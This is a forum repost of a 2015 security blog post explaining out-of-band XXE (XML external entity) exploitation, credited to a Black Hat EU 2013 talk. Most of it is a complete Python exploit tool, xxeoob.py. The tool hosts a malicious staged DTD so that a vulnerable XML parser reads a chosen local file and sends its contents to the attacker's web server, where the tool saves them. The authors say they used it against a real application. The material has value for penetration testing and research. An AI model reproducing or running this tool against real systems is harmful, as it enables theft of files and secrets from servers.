Nytro Posted February 20, 2015 Report Posted February 20, 2015 Exploiting Xxe With Out of Band ChannelsHey, this post is about a cool technique that was at Blackhat EU in 2013, By Alexey Osipov & Timur Yunusov. The idea is basically to use recursive external entity injection to have the vulnerable application send a http request to an attackers web server with the contents of a file of their choice. This works by reading the file and adding it as a payload to the end of url, we then try to load this as an external entity so if we look in the log files of the web server we can see the files contents so long as it can be rendered as plaintext or xml.In the video they talk about a metasploit module that can be used to exploit this, we needed it to exploit soapsonar, however I didn’t have any luck finding it so myself and Rob decided we would build our own. Ok, so the code isn’t very good, I’m not a programmer by any stretch of the imagination but it does work.Here is a video of us using it exploit a real application: #[Authors]: Ben 'highjack' Sheppard (@highjack_) & Rob Daniel (@_drxp)#[Title]: XXE OOB file retriever#[Usage]: sudo python xxeoob.py localfile #[Special Thanks]: Alexey Osipov (@GiftsUngiven), Timur Yunusov (@a66at) thanks for the awesome OOB techniques and Dade Murphyimport BaseHTTPServer, argparse, socket, sys, urllib, os, ntpathlocalPort = 0localIP = ""localFile = ""def status(message): print "\033[0;31;1m[\033[0;34;1m+\033[0;31;1m] \033[0;32;1m" + message + "\033[0m"def end(): status("Completed - Press any key to close") raw_input() quit()class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): print """\033[0;31;1m _ ._ _ , _ ._ (_ ' ( ` )_ .__) ( ( ( ) `) ) _) (__ (_ (_ . _) _) ,__) `~~`\ ' . /`~~` ,::: ; ; :::, ':::::::::::::::' __________/_ __ \____________ \033[0;31;1m[\033[0;34;1m Title\033[0;31;1m] XXE OOB file retriever \033[0;31;1m[\033[0;34;1mAuthors\033[0;31;1m] Ben Sheppard & Rob Daniel\033[0m""" global localIP localIP = socket.gethostbyname(socket.gethostname()) parser = argparse.ArgumentParser() parser.add_argument("file", help="set local file to extract data from", action="store") parser.add_argument("--port", help="port number for web server to listen on", action="store", default=80) parser.add_argument("--iface", help="specify the interface to listen on", action="store", default="eth0") parser.add_argument("--mode", help="print) outputs stage 1\nurl)crafts stage 1 url)", action="store", default="url") args = parser.parse_args() if localIP.startswith("127."): ipCommand = "ifconfig " + args.iface + " | grep -Eo 'inet addr:[0-9]{1,3}.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | cut -f 2 -d :" ipOutput = os.popen(ipCommand) localIP = ipOutput.readline().replace("\n","") global localFile localFile = args.file global localPort localPort = int(args.port) global stage1content stage1content = "<?xml version=\"1.0\" encoding=\"utf-8\"?><!DOCTYPE root [<!ENTITY % remote SYSTEM \"http://" + localIP +":" + str(localPort) + "/stage2.xml\">%remote;%int;%trick;]>" if args.mode == "print": status("Printing xml so it can be pasted into vulnerable app:") print stage1content else: status("Malicious xml file is located at http://" + localIP + ":" + str(localPort )+ "/stage1.xml") def log_request(self, *args, **kwargs): pass def do_GET(s): pageContent = "" if "/stage1.xml" in s.path: status("Receiving stage1 request") pageContent = stage1content elif "/stage2.xml" in s.path: status("Receiving stage2 request") global localFile pageContent = "<!ENTITY % payl SYSTEM \"" + localFile + "\"> <!ENTITY % int \"<!ENTITY % trick SYSTEM 'http://" + localIP + ":"+ str(localPort) + "?%payl;'>\">" else: status("Saving contents of " + localFile + " to " + os.path.dirname(os.path.abspath(__file__))) pageContent = "" localFile = ntpath.basename(localFile) fo = open(localFile, "wb") try: fo.write(urllib.unquote(s.path).decode('utf8')); except Exception,e: print str(e) fo.close() status("Completed - Press any key to close") raw_input() try: httpd.server_close() except: pass s.send_response(200) s.send_header("Content-type", "text/html") s.end_headers() s.wfile.write(pageContent)if __name__ == '__main__': server_class = BaseHTTPServer.HTTPServer httpd = server_class(('', localPort), MyHandler) try: httpd.serve_forever() except: pass httpd.server_close()Posted by highjackSursa: exploiting xxe with out of band channels - highjack Quote